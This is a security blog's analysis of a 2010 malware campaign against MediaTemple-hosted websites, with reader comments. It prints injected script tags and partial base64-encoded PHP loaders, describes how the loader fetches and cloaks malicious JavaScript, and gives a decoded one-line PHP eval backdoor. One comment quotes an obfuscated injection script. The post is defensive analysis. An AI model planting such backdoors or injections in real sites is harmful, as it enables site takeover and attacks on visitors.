msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Two Malware Trends Combined in One Attack

   06 Oct 10   Filed in Website exploits

Two of the major trends in malware attacks described on this blog this summer were the use of hijacked DNS records of legitimate domains and continuous attacks against sites on MediaTemple and RackSpace. In the end of this September, I noticed a new attack that combined these two trends.

At higher level, this attack is no different from many preceding variations that hit MediaTemple. It prepends malicious code to the first line of some existing .js files or injects it inside the <ads>…</ads> tags at the bottom of HTML code of legitimate web pages.

However, soon you notice new techniques.

This time the injected malicious code is not some JavaScript code — now it’s only a link to an external .js file hidden deep in subdirectories on the same server.

Examples of the code injected into HTML pages:

<ads><script type="text/javascript" src="/wp-includes/js/tinymce/plugins/wpeditimage/aspire.js.php"></script></ads></body>

<ads><script type="text/javascript" src="/movabletype/alt-tmpl/tubepress.js.php"></script></ads></body>

<ads><script type="text/javascript" src="/factoryshopper/images/buttons/MM_functions.js.php"></script></ads></body>

In case of the code injected into .js files, I currently see how hackers add links to multiple different malicious files. This is probably because of the bug in their tools – they don’t try to replace previously injected code with a new version. At the same time, this shows how often they are trying to reinfect compromised websites.

document.write('<scr ipt type="text/javascript" src="/wp-content/themes/mystique/mootools-1.2.1-core-yc.js.php"><\/sc ript>');document.write('<sc ript type="text/javascript" src="/wp-content/plugins/akismet/comment-images.js.php"><\/scri pt>');

document.write('<scr ipt type="text/javascript" src="/evrimwiki-backup/images/thumb/f/ff/Cicada2.jpg/myriadpro_400.font.js.php"><\/scri pt>');document.write('<s cript type="text/javascript" src="/evrimwiki-backup/images/thumb/6/6e/B2a_rivercladeweb.gif/s_code.js.php"><\/sc ript>');document.write('<sc ript type="text/javascript" src="/evrimwiki-backup/images/thumb/5/5b/Mone1.gif/foliogrid.js.php"><\/scrip t>');document.write('<scr ipt type="text/javascript" src="/evrimwiki-backup/images/thumb/1/19/Evrim101_26_3.jpg/core.min.js.php"><\/scri pt>');

document.write('<sc ript type="text/javascript" src="/ble/tools/XML%20Banner%20Rotator_update02/project/deploy/banner/content/images/flash_include.js.php"><\/scr ipt>');document.write('<scr ipt type="text/javascript" src="/myspaceassets/thecarter/moo.js.php"><\/scr ipt>');

.JS.PHP

If you load those external scripts via HTTP (which happens when people visit infected sites) you’ll see a regular obfuscated malicious JavaScript code. But as you might have noticed, the script files actually have the .js.php extension and this is for a reason.

One webmaster of an affected site sent me the .js.php files he found on his server. They contained encrypted PHP code:

<?
eval(gzuncompress(base64_decode('eNqNVVFr2zAQ/it7GLiFMVI7HYiRh/QhCqHLqDcUWaUEy3IIrZyZuk6xf/10p8zry...
?><?
eval(gzuncompress(base64_decode('eNp9Vllvo0gQ/ivzEGlmpH3gnB00yoMPwHhoEDa0gdVqxeEYY0is2BjDav/7dnWRi...
?><?
eval(gzuncompress(base64_decode('eNqllwtv4kYQx7+Kg6IL7tGr92F7LWopXA5SLiT0zCMhKbJIMHeIBE449HE5vnt39...
?>

The second file contained more elaborate version of similar code, which also shows how hackers work to make their scripts less detectable. In this case they obfuscated the “base64_decode” and “gzuncompress” keywords that security scanners search for.

<? $fr = strrev("sserpmocnuzg"); $df = strrev("edoced_46esab");
eval($fr($df('eNp9Vllvo0gQ/iv7EGky0j5wzg4a5cEHYDw0CBvawGq14nCMMSRWbIxhtP99u7rsxBMnlmKlj6qvvjqbx
?><?
eval($fr($df('eNqdlgtv2kgQx7+Kg6LGvnI57/qJOEukKeRoHrTmkZBcZDmwJm4AR7bTpk357l3vf82rKTqdELv27MxvH
?>

Algorithm

Both scripts do pretty much the same:

1. Check if the “langs” cookie is not set.

2. Download base64-encoded version of a malicious JavaScript from either hxxp://effbot .net/f/ or hxxp://ohix .net/f/ (both point to 66.221 .213 .77 – New York – C I Host. All attacks against MediaTemple use this hosting provider) and write it to the sess_<ymd> file in the /data/tmp directory (relative to a site root), where ymd is the current date in the “ymd” (year-month-day) format.

3. If the visitor is not a bot (checked against a long list of IP ranges and User-Agent strings) and not a returning visitor (the IP address is saved in the /data/tmp/<ymd> file) then decode the content of the /data/tmp/sess_<ymd> (see the previous step) file and serve the malicious JavaScript as a response.

4. Every 12 hours, remove all files in the /data/tmp directory to be able to serve a new version of the malicious script downloaded from the remote servers (see step 2). The list of infected visitors’ IPs is also reset.

Backdoor code

The PHP files have one interesting line. When decoded it reads as:

if (isset($_REQUEST["ev1"])) {
eval(base64_decode($_REQUEST["ev1"])); exit;
}

This is a typical PHP backdoor code. It executes whatever code is passed in the ev1 parameter of a client request (most likely using POST method so that this parameter is not visible in server logs). Hackers can use this backdoor to accomplish all sort of tasks:

  • upload new files,
  • modify/delete existing files,
  • steal sensitive data (e.g. passwords, logs, proprietary databases),
  • attack neighbor sites.

However, in this case, MediaTemple has a real chance to learn more about this attack. They should check access logs of the compromised sites for POST requests to those .js.php files. If the hackers were not very careful, it is possible to identify IP addresses of the attackers and then check all available logs for entries with the same IPs. This can reveal even more traces.

Hijacked subdomains

As we now know, malicious JavaScripts change every 12 hours. They use many different second level domain names. Here’s a list of links to their Safe Browsing diagnostic pages.

If you check whois info for these domains, you’ll see that they all belong to one person and they point to IP address 66.221.213 .77 (GoDaddy). All the sites seems to be legitimate.

However, in reality the malicious scripts use third-level domains that point to a completely different server with IP address 94.75.243 .84 (Leaseweb, Amsterdam , Netherlands – it is not the first time we see Leaseweb to host malware). The actual URLs of hidden iframes those scripts inject into hacked web pages look like this:

  • hxxp://one.riverrunpropertyvalue .com/in.cgi?2
  • hxxp://two.thenorthmecklenburgnews .com/in.cgi?2
  • hxxp://five.davidsonpropertyvalue .com/in.cgi?2
  • etc.

So, this definitely looks like the trick used by a couple of other attacks this summer: hackers modify DNS records of legitimate domains and create rogue subdomains that point to their malicious servers (via A records).

dig two.thenorthmecklenburgnews.com
...
;; ANSWER SECTION:
two.thenorthmecklenburgnews.com. 3600 IN A 94.75.243.84

Round up

As we can see, MediaTemple is still a target of massive hacker attacks. These attacks get evolve every week and get more and more sophisticated:

  1. This time we see how hackers started to use dual-purpose PHP files (to serve malicious JS and provide backdoor functionality).
  2. Instead of using hardcoded JavaScripts with a finite number of available malicious addresses, they now dynamically download JavaScript code from remote servers, which makes the attack more flexible.
  3. Instead of using their own domains for malware attacks, they hijack subdomains of legitimate sites.

To webmasters

Since MediaTemple is quite secretive about details of hackers attacks, we can only guess what security holes are exploited and what can prevent such hacks. I wrote a lot about it in my previous posts.

Now, that we see the use of backdoor scripts, I can only emphasize how important it is to:

  1. have strict file and directory permissions (so that neighbors can’t read your important files and create/modify files under your account)
  2. monitor your account for integrity. Every new or modified file should trigger an alert. As you can see, hackers can put their files deep in subdirectories, so it is important to use some sort of automated solution – otherwise it is easy to overlook changes. Consider putting your files under a version control – this way you can easily spot any changes and revert them if needed.

And just in case, make sure your domain’s DNS records are not compromised. Check whether all DNS records of your domains are legitimate. Otherwise you may end up with a blocked domain, blacklisted for no obvious reason.

Have your say

As always, my posts are not complete without your feedback. If you have any information that you want to share or want to point me at some interesting facts, please leave your comments below or contact me directly.

Related posts:

Reader's Comments (8)

  1. |

    [...] This post was mentioned on Twitter by Denis, Rhonda Kreklau. Rhonda Kreklau said: Two Malware Trends Combined in One Attack – Unmask Parasites blog … http://tinyurl.com/25wmf9s [...]

  2. |

    I’m finding the following pattern in hacked, static content-only sites on my Mediatemple account. Some of these compromised sites aren’t getting flagged by Google.

    1. .htaccess file is created / modified with the following line:

    AddHandler php4-script .php

    PHP files are created, sometimes up to several months later, in sub-directories containing images. Sample filenames include: content.php, flirmin.js.php, neuks.php, eregi.php, is_file.php, and leses.php

    index.html files are then edited with the usual code placed immediately after the body tag.

    • |

      Thanks for sharing this pattern.

      The question is what is inside those .php files? And whether your case is related to the issue described in this article?

  3. |

    One of the websites hosted on my MediaTemple account has had two of these injection issues in the recent past. The first was the “var st1=…” vulnerability and the second one is exactly that mentioned on this site.

    In the first case, I went ahead and set the directory permissions for the JS folder to 755. The directory permissions for the affected JS file was also 755. In the second attack, that JS file was nonetheless modified again to include the following line:

    document.write(”);

    What should I be setting my JS file permissions to. The attacked site contains no PHP and is reasonably small so I was able to do a PHP search and found a file named “lamb.php” in one of the image folders.

    Thanks,
    Sohum.

  4. |

    Since MediaTemple is quite secretive about details of hackers attacks, we can only guess what security holes are exploited and what can prevent such hacks.

    I would like to explain why it is that we are secretive about certain details. While we are more open and transparent about this attacks than most other webhosts, we cannot disclose many details for security reasons.

    I’m sure you understand that by explaining which, if any, security holes are being exploited we risk opening ourselves and our customers up to further attack.

    We appreciate the blogging that you do on this topic as it provides quality information for both prevention and understanding.

    Please let our customers know that, should they ever find themselves subject to attacks, they can contact Support at (mt) Media Temple and we should be able to assist with scanning and cleaning any infections from their websites.

  5. |

    [...] had been changed on several of my domains, as well as js and some random php files created. Two Malware Trends Combined in One Attack | Unmask Parasites. Blog. [...]

  6. |

    Below Malware script attacked my sites . i removed it more that 15 times but it is coming again and again . Changing the ftp passwords in 2 hour once but no use . help me to remove this script and stop its routine attack .

    “if(wi ndow.docu ment)aa=/s/g.exec(“s”).index+[];aaa=’0′;if(aa.indexOf(aaa)===0){ss=”;s=String;ee=’e';e=window.ev al;t=’y';}h=2*Math.cos(Math.PI);n=[3.5,3.5,51.5,50,15,19,49,54.5,4....skipped...,3.5,61.5];f=’f'+’romChar’;for(i=0;i-n.length<0;i++){j=i;ss=ss+String[f+&# 039;Code'](-h*(1+n[j]));}q=s s;e(q); “

    • |

      It’s not enough to change passwords. You should also prevent malware from stealing them again. And you should remove backdoors that might have been uploaded to your site.